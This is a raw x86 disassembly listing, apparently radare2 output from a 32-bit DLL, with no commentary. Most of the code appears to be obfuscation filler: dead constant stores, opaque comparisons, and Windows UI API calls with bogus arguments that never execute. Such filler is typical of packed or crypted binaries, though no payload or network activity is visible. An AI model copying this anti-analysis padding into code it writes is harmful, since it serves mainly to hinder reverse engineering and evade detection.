cmp dword [ebp - 0x24], ebx
jle 0x1002eddd
dec dword [ebp - 0x34]
jns 0x1002edce
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x358]
call fcn.1001671c
push 3
lea ecx, [ebp - 0xf4]
call fcn.10016697
push 9
pop eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0xbe0]
mov eax, 0xffff
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], ebx
push ebx
call fcn.10016697
xor eax, eax
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x1002f0a7
push dword [ebp - 0x44]
lea ecx, [ebp - 0xbe0]
call fcn.10016738
mov dword [eax], 0x9d94
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x1002f089
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1002f0d0
mov dword [ebp - 0x1c], 0x8b108f82
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002f0c8
cmp dword [ebp - 0x4c], eax
jne 0x1002f0f5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x31
je 0x1002f0c0
jmp 0x1002f0f5
mov dword [ebp - 0x20], 0x2a831d26
lea ecx, [ebp - 0xbe0]
mov dword [ebp - 0x4c], 0x5c285ce9
push eax
call fcn.10016738
mov ecx, dword [ebp - 0x48]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
push 9
pop eax
lea ecx, [ebp - 0xbe0]
mov byte [ebp - 4], al
call fcn.1001671c
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0xffffffff
mov eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x14]
setg cl
sub ecx, 0xfffffff8
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffee
je 0x1002f1e9
push 4
pop ebx
push ebx
lea ecx, [ebp - 0xa60]
call fcn.10016697
push 9
pop eax
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x44], eax
jmp 0x1002f1b5
push dword [ebp - 0x44]
call fcn.10016738
mov dword [eax], 0xfffe
inc dword [ebp - 0x44]
lea ecx, [ebp - 0xa60]
cmp dword [ebp - 0x44], ebx
jl 0x1002f1a4
push 3
call fcn.10016738
push 9
lea ecx, [ebp - 0xa60]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
pop eax
mov byte [ebp - 4], al
call fcn.1001671c
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffee
jne 0x1002f187
xor ebx, ebx
inc ebx
push ebx
lea ecx, [ebp - 0x968]
call fcn.10016697
push 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x950]
pop eax
mov dword [ebp - 0x44], 0xc4d8e5cc
mov dword [ebp - 0x48], 7
mov dword [ebp - 0x38], 0x4cacff8e
push eax
call fcn.10016697
xor eax, eax
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f249
push dword [ebp - 0x14]
lea ecx, [ebp - 0x968]
call fcn.10016738
mov dword [eax], 0xd3df75dc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f22b
xor eax, eax
push 4
mov dword [ebp - 0x14], eax
pop edx
cmp dword [ebp - 0x14], edx
jge 0x1002f277
push edx
pop ebx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x950]
call fcn.10016738
mov dword [eax], 0xa278c007
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f256
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x44], eax
mov esi, 0xed832cb8
cmp dword [ebp - 0x44], eax
jl 0x1002f403
mov dword [ebp - 0x10], 0x2e31d832
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x38], 0xad7d711e
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x38], 0x954e3f15
mov dword [ebp - 0x38], 0x1dd2eb2f
mov dword [ebp - 0x38], 0xdd66408
mov dword [ebp - 0x30], 0x6e86ff18
mov dword [ebp - 0x38], 0xc415051a
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x1002f3fa
push 9
mov dword [ebp - 0x38], 0x3498e64e
lea ecx, [ebp - 0xa78]
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x20], 0xe26c12a7
mov dword [ebp - 0x4c], 0x55073046
push ebx
call fcn.10016697
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f336
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa78]
call fcn.10016738
mov dword [eax], 0x199314e7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f318
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002f34c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb68], 0x1e6e836
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002f33b
push dword [ebp - 0x44]
lea ecx, [ebp - 0x968]
call fcn.10016738
cmp dword [eax], 0
jne 0x1002f3e9
xor eax, eax
lea ecx, [ebp - 0x968]
push eax
call fcn.10016738
mov eax, dword [ebp - 0x20]
cmp esi, eax
mov eax, 0x1a59
sbb ecx, ecx
inc ecx
sub eax, ecx
lea ecx, [ebp - 0x950]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
xor eax, eax
push eax
call fcn.10016738
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x950]
inc dword [ebp - 0xb60]
xor eax, eax
mov esi, dword [ebp - 0xb60]
push eax
call fcn.10016738
xor ecx, ecx
and dword [eax], 0
mov eax, dword [ebp - 0x48]
imul eax, esi
test eax, eax
setle cl
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0xa78]
mov byte [ebp - 4], 0xd
call fcn.1001671c
dec dword [ebp - 0x10]
mov esi, 0xed832cb8
jns 0x1002f2dc
jmp 0x1002f3f8
lea ecx, [ebp - 0xa78]
mov byte [ebp - 4], 0xd
call fcn.1001671c
xor eax, eax
dec dword [ebp - 0x44]
jns 0x1002f288
lea ecx, [ebp - 0x950]
call fcn.1001671c
push 9
pop eax
lea ecx, [ebp - 0x968]
mov byte [ebp - 4], al
call fcn.1001671c
mov dword [ebp - 0x1c], 0xc74a
xor eax, eax
mov dword [ebp - 0x4c], 0xbf0ddd9c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x44], eax
jmp 0x1002f448
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0xee8], 0
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 2
jl 0x1002f437
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
je 0x1002f461
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002f463
mov eax, ebx
jmp 0x1002f463
xor eax, eax
xor edx, edx
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp eax, 0x1fc9a57b
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setle dl
cmp ebx, edx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, ebx
setl cl
mov dword [ebp - 0xee8], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002f4c4
push ebx
push eax
push 0x1d23
call edi
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002f4dc
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf4]
call fcn.10016738
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002f4c9
movdqa xmm0, xmmword [0x10007f50]
lea eax, [ebp - 0x104c]
push eax
lea eax, [ebp - 0x105c]
push eax
lea ecx, [ebp - 0x12c4]
movdqu xmmword [ebp - 0x105c], xmm0
call fcn.10016747
lea ecx, [ebp - 0x17f]
mov esi, eax
call fcn.10008f03
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x980]
push dword [esi]
call fcn.100166f6
mov byte [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x54], 0x2906c902
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x10], 0x84cb
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x48], 0x5270
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f582
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x138], 0x13638ecf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f56a
xor eax, eax
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002f5a5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf04], 0x3637b304
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002f58d
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x1002f5e3
mov dword [ebp - 0x20], ebx
lea ecx, [ebp - 0x980]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x54]
push 2
call fcn.10016738
xor eax, eax
lea ecx, [ebp - 0x980]
push eax
call fcn.10016738
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0xefc]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0xefc]
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x54]
inc dword [ebp - 0x10]
cmp eax, 0x6d06
je 0x1002f5fd
mov esi, ebx
jmp 0x1002f601
xor eax, eax
mov esi, eax
push 3
lea ecx, [ebp - 0x980]
call fcn.10016738
xor edx, edx
cmp esi, dword [eax]
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
mov edx, ebx
setl cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x38], 0x12cd0ab8
mov dword [ebp - 0x38], 0xab95dfea
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xefc]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002f65c
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x138]
push 9
setge cl
add eax, ecx
mov ecx, dword [ebp - 0x1c]
add ecx, eax
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x980]
dec dword [ebp - 0x48]
pop eax
mov byte [ebp - 4], al
call fcn.1001671c
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f6ac
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xac], 0xda7da9fc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f694
xor eax, eax
mov dword [ebp - 0x2c], 0x5d6c05ba
mov dword [ebp - 0x44], eax
jmp 0x1002f6c9
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x744], 0xef3b0639
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 3
jl 0x1002f6b8
mov dword [ebp - 0x2c], 0xfffffffa
jmp 0x1002f851
push ebx
lea ecx, [ebp - 0x308]
call fcn.10016697
mov byte [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], 0xab653b1d
mov dword [ebp - 0x4c], 0xdd93ba6a
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x1002f720
push dword [ebp - 0x44]
lea ecx, [ebp - 0x308]
call fcn.10016738
mov dword [eax], ebx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x1002f706
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jg 0x1002f83d
jmp 0x1002f730
xor eax, eax
mov dword [ebp - 0x10], 0x1ba6b42b
mov dword [ebp - 0x44], eax
jmp 0x1002f749
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x2ac], ebx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x1002f73c
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x308]
xor eax, eax
push eax
call fcn.10016738
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x308]
push dword [ebp - 0x14]
call fcn.10016738
lea ecx, [ebp - 0x308]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x14]
call fcn.10016738
cmp dword [ebp - 0x2c], 0x8108531d
sbb ecx, ecx
xor ebx, ebx
add ecx, 0x23a266d3
cmp dword [eax], ecx
mov eax, dword [ebp - 0x10]
setge bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x308]
push dword [ebp - 0x14]
call fcn.10016738
mov esi, dword [ebp - 0x10]
lea ecx, [ebp - 0x308]
imul esi, dword [eax]
mov eax, dword [ebp - 0x4c]
sub esi, eax
neg esi
sbb esi, esi
neg esi
mov dword [ebp - 0x740], esi
push dword [ebp - 0x14]
call fcn.10016738
mov ecx, dword [ebp - 0x2c]
xor edx, edx
imul ecx, esi
cmp ecx, dword [eax]
setg dl
mov dword [ebp - 0x2ac], edx
mov eax, dword [ebp - 0x10]
neg eax
jne 0x1002f803
mov eax, dword [ebp - 0x740]
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x308]
mov eax, dword [ebp - 0x740]
mov eax, dword [ebp - 0x740]
push dword [ebp - 0x14]
call fcn.10016738
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x73c], eax
xor eax, eax
inc dword [ebp - 0x14]
push 1
pop ebx
cmp dword [ebp - 0x14], eax
jle 0x1002f72e
push 9
pop eax
lea ecx, [ebp - 0x308]
mov byte [ebp - 4], al
call fcn.1001671c
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x15
jne 0x1002f6db
mov esi, dword [ebp - 0x3c]
lea ecx, [ebp - 0xf4]
neg esi
sbb esi, esi
xor eax, eax
push eax
neg esi
call fcn.10016738
mov dword [eax], esi
test esi, esi
je 0x1002f886
xor eax, eax
lea ecx, [ebp - 0xf4]
push eax
call fcn.10016738
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x12d4]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
movdqa xmm0, xmmword [0x10007f60]
lea eax, [ebp - 0xf6c]
push eax
lea eax, [ebp - 0xf7c]
push eax
movdqu xmmword [ebp - 0xf7c], xmm0
call fcn.10016747
lea ecx, [ebp - 0x193]
mov esi, eax
call fcn.10008f03
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x498]
push dword [esi]
call fcn.100166f6
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xc28]
mov dword [ebp - 0x1c], 0xd4081c29
push 3
call fcn.10016697
mov byte [ebp - 4], 0x19
xor eax, eax
mov dword [ebp - 0x20], 0xc0351a93
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x1002f923
push dword [ebp - 0x44]
lea ecx, [ebp - 0xc28]
call fcn.10016738
mov dword [eax], 0x59b8bc58
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 3
jl 0x1002f904
xor eax, eax
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], eax
jl 0x1002f9c9
cmp dword [ebp - 0x1c], ebx
je 0x1002f950
push 3
lea ecx, [ebp - 0x498]
call fcn.10016738
cmp dword [eax], 0
jne 0x1002f950
xor eax, eax
mov esi, eax
jmp 0x1002f952
mov esi, ebx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x498]
call fcn.10016738
xor ebx, ebx
lea ecx, [ebp - 0x498]
push 2
cmp dword [eax], esi
setl bl
call fcn.10016738
push 0
lea ecx, [ebp - 0x498]
cmp ebx, dword [eax]
pop ebx
push 2
setne bl
call fcn.10016738
lea ecx, [ebp - 0xc28]
sub ebx, dword [eax]
neg ebx
sbb ebx, ebx
xor eax, eax
push eax
neg ebx
call fcn.10016738
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x498]
mov esi, eax
call fcn.10016738
push 1
mov ecx, dword [eax]
xor eax, eax
cmp ecx, ebx
mov dword [esi], ecx
pop ebx
setne al
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x1c]
jns 0x1002f933
lea ecx, [ebp - 0xc28]
call fcn.1001671c
push 9
pop eax
lea ecx, [ebp - 0x498]
mov byte [ebp - 4], al
call fcn.1001671c
mov esi, dword [sym.imp.USER32.dll_GetDlgItemTextA]
xor eax, eax
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], eax
jmp 0x1002fa17
cmp byte [ebp - 0x3d], 0
je 0x1002fa14
push 0xfa5
push eax
push 0x623
call edi
push eax
call esi
xor eax, eax
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xfffffffb
mov byte [ebp - 0x3d], al
je 0x1002f9fc
cmp byte [ebp - 0x3d], 0
mov ebx, dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
je 0x1002fa30
call ebx
xor eax, eax
xor ecx, ecx
inc ecx
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x998]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x4c], 0xab83eb61
push 3
call fcn.10016697
xor eax, eax
mov byte [ebp - 4], 0x1a
inc eax
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x1002fa88
push dword [ebp - 0x44]
lea ecx, [ebp - 0x998]
call fcn.10016738
mov dword [eax], 0x50c19791
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 3
jl 0x1002fa69
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffef
jl 0x1002fb02
jmp 0x1002fa95
xor eax, eax
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0xa90]
push 2
call fcn.10016697
xor eax, eax
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x44], eax
jmp 0x1002fabe
push dword [ebp - 0x44]
call fcn.10016738
or dword [eax], 0xffffffff
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 2
lea ecx, [ebp - 0xa90]
jl 0x1002fab0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
xor eax, eax
inc eax
push eax
call fcn.10016738
xor ecx, ecx
mov byte [ebp - 4], 0x1a
inc ecx
mov dword [eax], ecx
lea ecx, [ebp - 0xa90]
call fcn.1001671c
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffef
jge 0x1002fa93
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x34]
sub ecx, eax
imul ecx, dword [ebp - 0x30]
push 0xfffffffffffffffd
pop eax
sub ecx, dword [ebp - 0x4c]
neg ecx
sbb ecx, ecx
inc ecx
cmp eax, ecx
lea ecx, [ebp - 0x998]
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
xor eax, eax
push eax
call fcn.10016738
cmp dword [eax], 0
je 0x1002fb53
xor eax, eax
lea ecx, [ebp - 0x998]
push eax
call fcn.10016738
cmp dword [eax], 0
je 0x1002fb53
xor eax, eax
inc eax
jmp 0x1002fb55
xor eax, eax
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x998]
push 9
pop eax
mov byte [ebp - 4], al
call fcn.1001671c
xor eax, eax
mov dword [ebp - 0x54], 0x879b6842
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], eax
jmp 0x1002fb95
cmp byte [ebp - 0x3d], 0
je 0x1002fb92
push 0xfa5
push eax
push 0x623
call edi
push eax
call esi
xor eax, eax
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xfffffffb
mov byte [ebp - 0x3d], al
je 0x1002fb7a
cmp byte [ebp - 0x3d], 0
je 0x1002fba8
call ebx
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x28], 2
inc ebx
cmp dword [ebp - 0x28], eax
jl 0x1002fd64
mov dword [ebp - 0x38], 0x6c05baf4
lea ecx, [ebp - 0xf10]
mov dword [ebp - 0x38], ebx
push 2
call fcn.10016697
mov byte [ebp - 4], 0x1c
xor eax, eax
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x1002fc07
push dword [ebp - 0x44]
lea ecx, [ebp - 0xf10]
call fcn.10016738
mov dword [eax], 0xede0b407
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 2
jl 0x1002fbe8
xor eax, eax
dec dword [ebp - 0x4c]
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002fc31
push eax
push eax
push eax
push 0x2704
push 0x86b
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
push 9
pop eax
lea ecx, [ebp - 0xf10]
mov byte [ebp - 4], al
call fcn.1001671c
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0xf4]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [eax]
jge 0x1002fc63
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x14], eax
je 0x1002fc65
mov esi, ebx
push ebx
lea ecx, [ebp - 0xf4]
call fcn.10016738
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xac], esi
push dword [ebp - 0x28]
call fcn.10016738
xor eax, eax
lea ecx, [ebp - 0xf4]
push eax
call fcn.10016738
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf4]
call fcn.10016738
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0xf4]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0xf4]
sete dl
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x14]
setg dl
add eax, edx
jne 0x1002fcea
mov eax, dword [ebp - 0xac]
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf4]
call fcn.10016738
xor ecx, ecx
cmp dword [eax], ebx
sete cl
xor eax, eax
mov dword [ebp - 0x54], ecx
cmp dword [ebp - 0x54], 0xc499
jg 0x1002fd17
mov edx, ebx
cmp dword [ebp - 0xac], eax
jne 0x1002fd19
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setle cl
add eax, ecx
jne 0x1002fd31
mov edi, eax
cmp dword [ebp - 0x28], eax
je 0x1002fd33
mov edi, ebx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf4]
call fcn.10016738
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf4]
mov esi, dword [eax]
sub esi, edi
call fcn.10016738
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [eax], esi
dec dword [ebp - 0x28]
jns 0x1002fbbb
mov dword [ebp - 0x2c], 0xf6af1124
lea ecx, [ebp - 0x7f4]
push 3
call fcn.10016697
push 4
mov byte [ebp - 4], 0x1d
or edi, 0xffffffff
pop eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x1002fdab
push dword [ebp - 0x44]
lea ecx, [ebp - 0x7f4]
call fcn.10016738
mov dword [eax], edi
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 3
jl 0x1002fd90
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002fe75
push 3
lea ecx, [ebp - 0x9b0]
call fcn.10016697
xor eax, eax
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002fde8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe44], 3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002fdcf
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002fe04
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9b0]
call fcn.10016738
mov dword [eax], 0x6bc3ec3d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002fded
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x7f4]
mov eax, dword [ebp - 0x2c]
push 2
call fcn.10016738
push ebx
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x2c]
dec dword [eax]
lea ecx, [ebp - 0x9b0]
call fcn.10016738
mov ecx, dword [ebp - 0x10]
mov esi, eax
xor eax, eax
cmp ecx, 0xe486
mov ecx, dword [ebp - 0xe40]
setge al
xor edx, edx
cmp ecx, eax
lea ecx, [ebp - 0x7f4]
setl dl
xor eax, eax
push eax
mov dword [esi], edx
call fcn.10016738
lea ecx, [ebp - 0x9b0]
mov byte [ebp - 4], 0x1d
call fcn.1001671c
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffee
jle 0x1002fdb3
push 9
pop eax
lea ecx, [ebp - 0x7f4]
mov byte [ebp - 4], al
call fcn.1001671c
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x100307aa
push ebx
lea ecx, [ebp - 0x3a0]
call fcn.10016697
mov byte [ebp - 4], 0x1f
push 0xfffffffffffffffe
pop eax
mov dword [ebp - 0x9e8], eax
mov dword [ebp - 0x9e4], eax
mov dword [ebp - 0x9e0], eax
mov dword [ebp - 0x9dc], eax
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x34], 0x359a7032
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x6657eef1
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jg 0x1002ffa2
push ebx
lea ecx, [ebp - 0x540]
call fcn.10016697
xor eax, eax
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x1002ff2d
push dword [ebp - 0x44]
lea ecx, [ebp - 0x540]
call fcn.10016738
mov dword [eax], 0x1867b8f5
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x1002ff0f
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1002ff40
push eax
lea ecx, [ebp - 0x540]
call fcn.10016738
xor eax, eax
push eax
lea ecx, [ebp - 0x540]
call fcn.10016738
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x2c], 0x5a98
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x9e4]
xor eax, eax
push eax
call fcn.10016738
mov esi, eax
lea ecx, [ebp - 0x540]
xor eax, eax
push eax
call fcn.10016738
mov ecx, dword [esi]
mov byte [ebp - 4], 0x1f
mov dword [eax], ecx
lea ecx, [ebp - 0x540]
call fcn.1001671c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jle 0x1002fef5
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x1d
